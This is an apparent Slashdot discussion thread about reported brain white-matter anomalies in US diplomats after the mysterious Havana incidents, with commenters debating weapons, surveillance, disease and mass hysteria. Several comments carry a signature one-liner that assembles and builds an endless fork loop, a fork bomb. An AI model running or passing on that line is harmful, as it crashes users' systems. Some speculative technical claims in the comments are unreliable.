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Victims of Mystery Attacks In Cuba Left With Anomalies In Brain Tissue (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: American victims of mysterious attacks in Cuba have abnormalities in their brains' white matter, according to new medical testing reported by the Associated Press. But, so far, it's unclear how or if the white-matter anomalies seen in the victims relate to their symptoms. White matter is made up of dense nerve fibers that connect neurons in different areas of the brain, forming networks. It gets its name from the light-colored electrical insulation, myelin, that coats the fibers. Overall, the tissue is essential for rapidly transmitting brain signals critical for learning and cognitive function.
In August, U.S. authorities first acknowledged that American diplomats and their spouses stationed in Havana, Cuba, had been the targets of puzzling attacks for months. The attacks were carried out by unknown agents and for unknown reasons, using a completely baffling weaponry. The attacks were sometimes marked by bizarrely targeted and piercing noises or vibrations, but other times they were completely imperceptible. Victims complained of a range of symptoms, including dizziness, nausea, headaches, balance problems, ringing in the ears (tinnitus), nosebleeds, difficulty concentrating and recalling words, permanent hearing loss, and speech and vision problems. Doctors have also identified mild brain injuries, including swelling and concussion. U.S. officials now report that 24 Americans were injured in the attacks but wouldn't comment on how many showed abnormalities in their white matter.
In August, U.S. authorities first acknowledged that American diplomats and their spouses stationed in Havana, Cuba, had been the targets of puzzling attacks for months. The attacks were carried out by unknown agents and for unknown reasons, using a completely baffling weaponry. The attacks were sometimes marked by bizarrely targeted and piercing noises or vibrations, but other times they were completely imperceptible. Victims complained of a range of symptoms, including dizziness, nausea, headaches, balance problems, ringing in the ears (tinnitus), nosebleeds, difficulty concentrating and recalling words, permanent hearing loss, and speech and vision problems. Doctors have also identified mild brain injuries, including swelling and concussion. U.S. officials now report that 24 Americans were injured in the attacks but wouldn't comment on how many showed abnormalities in their white matter.
No matter how hostile and immoral in their spying the Cubans and Russians might be, there is so little factual basis to this story, and it's so absurd that no radiation is sensed, etc., and people have visible brain pathology.
Extraordinary claims require extraordinary evidence. There isn't any.
Bruce Perens.
Cuba was under the protection of the USSR for quite some time. I imagine they could have been testing and developing some kind of new technology and now the Cubans have it? A lot of experimental stuff was tried all throughout the Cold War by both sides.
Be interesting if we ever learn what caused this. Normally I'd discount such bizzare reports as silly, but a lot of people were affected by this. So I think something was definitely done to them.
Lets see you point to a single documented case of someone psychologically inducing actual damage to their own brain tissue. What a jerk. This is nothing like PTSD.
I'm not going to propose that there is no mystery here, but when probing something this mysterious and examining people as intensely as they are likely examining these individuals, I'd want to go with a setup that tests both people who were there and people who weren't. I'd also want to hide the identities from those reading the scans.
No human would be without anomalies if tested intensively enough.
I read the list of major infectious diseases in Cuba and see several that attack brain/nervous system and some of which can even cause "brain alteration"
could this "attack" be a natural pathogen? It's the first thing that came to my mind reading the mass media hysteria over it, and after looking at all the interesting nasties that are in Cuba....
I have wondered from the first time I read about these embassy attacks if someone was playing with a device that utilizes the "microwave auditory effect" that this wired article was discussing in 2008.
Perhaps they were attempting to project voices into their heads and had some sort of tuning issue that caused it to have a range of other effects.
You seriously think that in less than a year Trump has utter control over an array of army doctors such that they would outright lie to this extent? Come on man. He doesn't even have full control of the state department or pretty much any other department for that matter.
Or what about the notion that Trump could coerce this many doctors to lie about this, and even if that WERE true why would the embassy staff all be sick? Do you claim that the entire staff of the Cuban embassy is making THAT up? I refer you again to my first point re: Trump and the state department - not to mention the actual timeframe in which they got sick was back in 2016 before the election. Was Trump masterfully convincing the entire Cuban embassy staff to claim they were sick at that point? To what end? I mean Scott Adams claims Trump is a master persuader but even so I'm not going to buy into Tump being that clever...
Now I'm not willing to agree it was may not even have been an attack, maybe just some natural cause of the building. But to claim there is nothing going on at all is seriously out of whack even for the paranoid among us (which I count myself in that group). There is obviously something more to the story that is not understood at this point.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
There is a plausible explanation for this mysterious attack. Currently, Microwave guns that are being used for riot-control have their frequencies tuned to be absorbed by the skin, but you can lower the frequency (longer wavelength) to make the microwave penetrate deeper, literally frying the victim's brain. When the microwave cooks the auditory region, the victim hears a phantom sound.
There is no actual recording of the sound. What the AP released is just a synthesized simulation of what it might sound like to a victim under attack.
I once had a signature.
If Cuban communist agents really wanted to infiltrate America they could have just landed on US soil and claimed asylum which would have been granted, just as it had been for decades up until earlier this year when Obama ended that policy. If this were a real goal of Cuba, the U.S. would be rife with Cuban spies unless they only decided they should get in on this whole espionage thing within the last 10 months. There were so many Cubans actually trying to escape that even thousands of spies would have been able to blend in quite easily.
Motivation: Who would be motivated to cause this? Does anyone benefit from it?
Dispersion: Have no Cubans suffered from similar symptoms? Has anyone bothered to check?
Location: Were all affected families living in the embassy? What other areas were 'attacked'?
The 'white matter' test evidence seems weak, just as the entire story is vague. Until our own government is honest about what they've found, it just seems like another conspiracy theory. The kind of vague rumor they create when they are contemplating an offensive action against a country.
...omphaloskepsis often...
Think of the stress of working in an embassy like that.
Think of the literally hundreds of jobs that are far more stressful than being stationed in an embassy, and yet which don't show the same symptoms.
I don't understand why, when Guillain Barre syndrome was discovered, they didn't just kill Guillain Barre, burn his body and cut the problem off at the root.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Could be surveillance
https://science.slashdot.org/c...
Used by the Russians to spy on the US embassy - they needed to embed a resonator into a Great Seal of the US which they presented as a gift.
https://en.wikipedia.org/wiki/...
Also used by the UK and US to spy on Russians. Peter Wright worked out how to do it with the sides of filing cabinets, and hence not need to give Trojan Horse gifts
https://www.schneier.com/blog/...
The US is quite justified to say to the Cubans 'It's a small island. It's also a police state. You have a good intelligence service. You probably know who's doing it. Get them to stop. Until then no more diplomats".
All these people mocking the idea are probably the paid Russian trolls I keep getting warned about. Of course the irony is the same people warning me about Russian trolls are the ones mocking this story.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah! And Lou Gehrig died of Lou Gehrig's disease. You'd think he would have seen that coming.
https://www.theguardian.com/wo...
Two former US officials with a background in intelligence and surveillance said they had doubts that the health problems were the result of a deliberate attack with a sonic weapon. They pointed out that the symptoms were first noticed in late 2016, when US-Cuban relations were the best they had been in decades, following the visit of Barack Obama to Havana.
CNN quoted a US official saying Washington was investigating whether a third country was involved as "payback" for actions the US has taken elsewhere and to "drive a wedge between the US and Cuba". However, at least one Canadian diplomat is also said to have been affected, suggesting whatever happened did not exclusively target the US embassy.
"You can't rule out harassment, but why do it when you want things to go well, and why the Canadians? Nobody dislikes the Canadians!" said James Lewis, a former state department official and US military adviser with expertise in intelligence and spy technology.
Lewis said it was much more likely that a sonic surveillance device, designed to remotely pick up the vibrations caused by speech, could have been wrongly configured and emitted harmful sound waves as a result.
"We know with 100% certainly that the embassies are under surveillance, and the technology being used could just be crude and over-powered," he added. Although Nauert had said the Cuban incidents was unprecedented, Lewis pointed to a wave of health problems at the US embassy in Moscow in the 1970s thought to be linked to the use of microwave surveillance devices.
John Sipher, who spent 28 years in the CIA's National Clandestine Service, argued that while direct targeting of US diplomats is rare, unintended harm caused by surveillance efforts that go wrong are much more common.
"These efforts, while designed to further surveillance and eavesdropping and not to cause malicious damage, nevertheless risked or resulted in residual physical harm to US diplomats," Sipher said in a commentary on the Just Security website.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The inhabitants of Barnsley in the UK, on learning of Parkinson's Disease, killed all the people in the town with that name.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Anyone banging their head in the wall has psychologically induced brain trauma.
No, that is physically induced brain trauma. Regardless of WHY your head hit the wall, it is the physical impact that did the damage.
Hello,
CBS News reports that the same type of attack may have occurred on USAID workers in Uzbekistan; https://www.cbsnews.com/news/u...
Regards,
Aryeh Goretsky
Dexter is a good dog.
That would be a bizarre pathogen indeed that can make you hear a sound - which can be and has been recorded - in a specific part of the room, disappearing whenever you move just slightly but reappearing when you pass back through that spot. And which only affects workers of the US embassy in Cuba, having never been recorded to infect anyone else, anywhere else, ever.
There's no question that it's a baffling case, but pathogens don't pass muster. I waver between "another type of EM radiation, for which the sound is just an incidental side effect" and "a multispectral ultrasonic audio signal, for which what is heard (and what does the damage) is harmonics between the channels rather than the carriers". But at this point, who bloody knows.
Pinkypants -- my favorite!
... entirely. Mass hysteria has effects that can be bizarr and creepy to the utmost extent. And as far as we know, nobody is fully immune to it. For one, mass hysteria does spread similar to a disease. Because you need to meet people who have fallen prone to the hysteria for it to spread. Or you need to be primed by some detailed description of it in an environment that emphasises the fact that the effects have a "real" cause.
That scientist find "alterations in brain tissue" could be simply because they were looking for them.
Note: I'm not ruling out some sort of weapon, but right now mass hysteria seems more plausible to me. The story has all the ingredients.
We suffer more in our imagination than in reality. - Seneca
Now you tell me.
You are welcome on my lawn.